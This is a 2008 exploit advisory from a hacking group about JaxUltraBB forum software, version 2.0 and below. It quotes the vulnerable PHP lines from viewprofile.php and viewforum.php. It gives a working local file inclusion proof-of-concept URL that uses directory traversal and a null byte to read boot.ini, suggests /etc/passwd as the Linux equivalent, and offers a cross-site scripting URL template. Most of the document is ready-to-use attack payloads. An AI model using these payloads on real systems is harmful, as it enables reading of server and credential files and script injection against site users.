jaxultrabb-lfixss.txt

`===============================================================  
JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities  
===============================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 20 June 2008  
SITE : www.citec.us  
  
  
#####################################################  
APPLICATION : JaxUltraBB  
VERSION : <= 2.0  
DOWNLOAD : http://downloads.sourceforge.net/jubb/  
#####################################################  
  
--- Local File Inclusion ---  
  
-----------------------------------  
Vulnerable File [viewprofile.php]  
-----------------------------------  
@Line 8-9  
  
8: $userfile = file_get_contents("users/".$_GET['user'].".JaxSQL");  
9: $onlinefile = file_get_contents("users/".$_GET['user']."online.JaxSQL");  
  
--------------  
POC Exploits  
--------------  
  
[+] http://192.168.24.25/jubb/viewprofile.php?user=../../../../../../../../boot.ini%00  
  
  
This exploit will open boot.ini in system file:  
  
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)  
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)  
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect  
  
You can change boot.ini to /etc/passwd%00 in linux OS.  
  
  
--- Remote XSS Exploit ---  
  
---------------------------------  
Vulnerable File [viewforum.php]  
---------------------------------  
  
@Line   
  
14: $forum = $_GET['forum'];  
  
15: online_moved("Viewing ".$_GET['forum']);  
  
17: $forumfile = fopen("topics/".$forum."topics.JaxSQL", "at");  
18: $topicsfile = file_get_contents("topics/".$forum."topics.JaxSQL", "at");  
19: echo "<br><br><br><table><td background='img/header1.jpg' width='1000' align='center'>$forum</td><tr><td bgColor='darkblue'>";  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[jubb_path]/viewforum.php?forum=<XSS>  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
  
  
`